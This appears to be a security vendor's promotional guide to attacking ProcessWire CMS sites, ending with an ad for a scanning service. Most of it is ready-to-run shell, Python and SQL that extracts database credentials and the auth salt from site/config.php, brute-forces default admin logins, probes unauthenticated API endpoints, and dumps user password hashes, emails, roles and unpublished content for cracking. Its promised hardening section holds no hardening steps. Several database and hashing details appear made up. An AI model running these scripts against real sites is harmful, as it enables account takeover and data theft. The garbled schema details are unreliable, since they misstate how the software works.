ProcessWire Security Testing: Default Credentials, API Key, Database, and CMS

ProcessWire is a flexible PHP CMS and CMF used extensively by digital agencies and developers for custom web applications. Key assessment areas: site/config.php exposes MySQL dbPass and dbUser credentials; admin credentials at /processwire/ use SHA-1+salt hashing; the REST Helper module may expose unauthenticated API endpoints; and the pages table contains all CMS content including unpublished drafts. This guide covers systematic ProcessWire security assessment.

Table of Contents

  1. site/config.php MySQL Credential Extraction
  2. REST API and Admin Panel Assessment
  3. MySQL users Hash and Content Extraction
  4. ProcessWire Security Hardening

site/config.php MySQL Credential Extraction

# ProcessWire — site/config.php MySQL credential extraction
PW_URL="https://site.example.com"

# site/config.php — ProcessWire database configuration
cat /var/www/processwire/site/config.php 2>/dev/null | \
  grep -E "dbHost|dbName|dbUser|dbPass|dbPort|userAuthSalt"

python3 -c "
import re
content = open('/var/www/processwire/site/config.php').read()
patterns = {
    'dbPass': r\"dbPass\s*=\s*'([^']+)'\",
    'dbUser': r\"dbUser\s*=\s*'([^']+)'\",
    'dbName': r\"dbName\s*=\s*'([^']+)'\",
    'dbHost': r\"dbHost\s*=\s*'([^']+)'\",
    'userAuthSalt': r\"userAuthSalt\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# userAuthSalt: global salt mixed into all password hashes (important for cracking)
# \$config->dbPass = 'password';   <-- MySQL password (CRITICAL)
# \$config->userAuthSalt = '...';  <-- Global auth salt (needed for hash cracking)

# Check site/config.php web access
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  "${PW_URL}/site/config.php" 2>/dev/null)
echo "/site/config.php: HTTP ${STATUS}"

# Check /processwire/ admin panel accessibility
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PW_URL}/processwire/" 2>/dev/null)
echo "/processwire/: HTTP ${STATUS}"

# Test default admin credentials
for CRED in "admin:admin" "admin:password" "admin:Admin123"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  # Get CSRF token
  CSRF=$(curl -s "${PW_URL}/processwire/" 2>/dev/null | \
    grep -oP '_token.*?value="\K[^"]+' | head -1)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${PW_URL}/processwire/" \
    -d "_token=${CSRF}&login_name=${USER}&login_pass=${PASS}" \
    -c /tmp/pw_c -b /tmp/pw_c -L 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

REST API and Admin Panel Assessment

# ProcessWire REST API — module token and unauthenticated access assessment
PW_URL="https://site.example.com"

# ProcessWire REST Helper module (if installed)
# Typical endpoint: /api/ or /rest/
for API_PATH in "/api/" "/rest/" "/pw-api/"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PW_URL}${API_PATH}" 2>/dev/null)
  echo "${API_PATH}: HTTP ${STATUS}"
done

# Enumerate ProcessWire REST API endpoints (unauthenticated)
curl -s "${PW_URL}/api/pages/" 2>/dev/null | \
  python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    items=d.get('items',[]) if isinstance(d,dict) else d
    print(f'Pages accessible: {len(items)}')
    for p in items[:5]:
        print(f'  [{p.get(\"id\")}] {p.get(\"title\")} — {p.get(\"url\")}')
except: print('Error or restricted')
" 2>/dev/null

# ProcessWire API key (if configured in site/config.php)
python3 -c "
content = open('/var/www/processwire/site/config.php').read()
import re
m = re.search(r\"apiKey\s*=\s*'([^']+)'\", content)
if m: print(f'API key: {m.group(1)}')
" 2>/dev/null

# ProcessWire admin panel — check for file manager (if AdminFileManager module)
ADMIN_SESS="extracted-admin-session"
curl -s "${PW_URL}/processwire/setup/filemanager/" \
  -b "processwire=${ADMIN_SESS}" 2>/dev/null | \
  grep -i "upload\|file" | head -3

MySQL users Hash and Content Extraction

# ProcessWire MySQL database — users hash and content extraction
DB_PASS="extracted-db-password"
USER_AUTH_SALT="extracted-userAuthSalt"  # from site/config.php

mysql -u processwire -p"${DB_PASS}" processwire 2>/dev/null << 'EOF'
-- ProcessWire users table — accounts with SHA-1 password hashes
SELECT u.pages_id, u.name, u.pass, u.email,
       u.created, u.modified, u.last_login,
       u.status
FROM users u
ORDER BY u.pages_id
LIMIT 20;
-- pass: SHA-1(userAuthSalt + SHA-1(userAuthSalt + password))
-- ProcessWire uses double SHA-1 with global salt from site/config.php
-- status: 1=active, 2=temp, 4=suspended

-- ProcessWire roles — identify superuser accounts
SELECT r.pages_id, r.name
FROM roles r
ORDER BY r.pages_id;
-- superuser role (pages_id=37 in default install) = full admin access

-- User-to-role mapping
SELECT ur.users_id, ur.roles_id,
       u.name, u.email, r.name as role_name
FROM users_roles ur
JOIN users u ON u.pages_id = ur.users_id
JOIN roles r ON r.pages_id = ur.roles_id
ORDER BY ur.users_id;

-- Pages table — all CMS content including hidden/unpublished
SELECT p.id, p.parent_id, p.templates_id,
       p.name, p.status, p.created, p.modified
FROM pages p
WHERE p.status != 1  -- include non-published pages
ORDER BY p.id
LIMIT 30;
-- status: 1=published, 2097152=hidden, 2048=unpublished draft

-- Field data — actual page content (fields stored in field_* tables)
-- Example: field_body for body text content
SELECT f.pages_id, f.data as body_content
FROM field_body f
ORDER BY f.pages_id
LIMIT 10;
EOF

ProcessWire Security Hardening

ProcessWire Security Hardening Checklist:
Security TestMethodRisk
site/config.php MySQL dbPass and userAuthSalt extractionRead /var/www/processwire/site/config.php — database credentials and global password salt; enables batch cracking of all users table SHA-1 hashesCritical
users table double-SHA-1 hash extraction with userAuthSaltMySQL SELECT pass FROM users — SHA-1 hashes crackable with extracted userAuthSalt; all user accounts including superuser compromisedHigh
REST API module unauthenticated page content accessGET /api/pages/ — enumerate all pages including draft/hidden content if REST module lacks authenticationHigh
Admin credential brute-force at /processwire/POST /processwire/ — admin/admin or common passwords; admin session enables full CMS control, file uploads, module installationHigh
pages table hidden and unpublished content accessMySQL SELECT from pages WHERE status != 1 — draft content, hidden pages, private data not publicly accessible via the websiteMedium

Automate ProcessWire Security Testing

Ironimo tests ProcessWire deployments for site/config.php MySQL dbPass and userAuthSalt web exposure, admin credential brute-force at /processwire/ admin panel, users table double-SHA-1+userAuthSalt hash extraction enabling batch password cracking, superuser role identification via users_roles mapping, REST API module unauthenticated page content access assessment, pages table hidden and unpublished draft content enumeration, site/assets/files/ sensitive document access without authentication, ProcessWire module inventory for unpatched CVE detection, and ProcessWire version disclosure for security advisory targeting.

Start free scan